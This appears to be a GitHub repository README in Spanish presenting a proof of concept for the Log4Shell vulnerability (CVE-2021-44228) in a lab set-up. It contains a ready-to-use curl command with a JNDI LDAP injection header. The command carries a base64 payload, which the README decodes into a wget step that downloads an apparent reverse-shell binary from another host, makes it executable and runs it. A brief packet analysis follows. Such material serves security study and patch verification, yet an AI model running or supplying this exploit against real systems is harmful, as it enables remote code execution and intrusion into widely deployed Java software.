sumitpathania03/log4j-cve-2021-44228Prueba de concepto para Log4Shell (CVE-2021-44228) que demuestra la ejecución remota de código mediante inyección JNDI, incluyendo la configuración del servidor vulnerable, el comando de explotación y el análisis de paquetes.
Log4Shell — también conocido como CVE-2021-44228 — es una vulnerabilidad crítica que permite la ejecución remota de código en sistemas que utilizan Log4j de la Apache Foundation, que es una biblioteca Java de código abierto ampliamente utilizada en productos de software comerciales y de código abierto y utilidades.
Análisis del PoC
El servidor vulnerable se está ejecutando en el puerto 8080
Y el servidor ldap se está ejecutando en dos puertos: http 8888 y ldap 1389
COMANDO DE EXPLOIT
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- IP del servidor vulnerable
172.17.0.1:1389 -- IP del servidor LDAP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
Comando descifrado - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
ANÁLISIS DE PAQUETES
COMO PODEMOS VER EN LOS PAQUETES, EL SERVIDOR ESTÁ ENVIANDO UNA SOLICITUD GET PARA UNA CLASE AL SERVIDOR LDAP. SI VERIFICAMOS LA CLASE DE EXPLOTACIÓN, PODEMOS VER QUE EL SERVIDOR LDAP ESTÁ ENVIANDO EL COMANDO DESCIFRADO EN LA CLASE DE EXPLOTACIÓN.
Ref
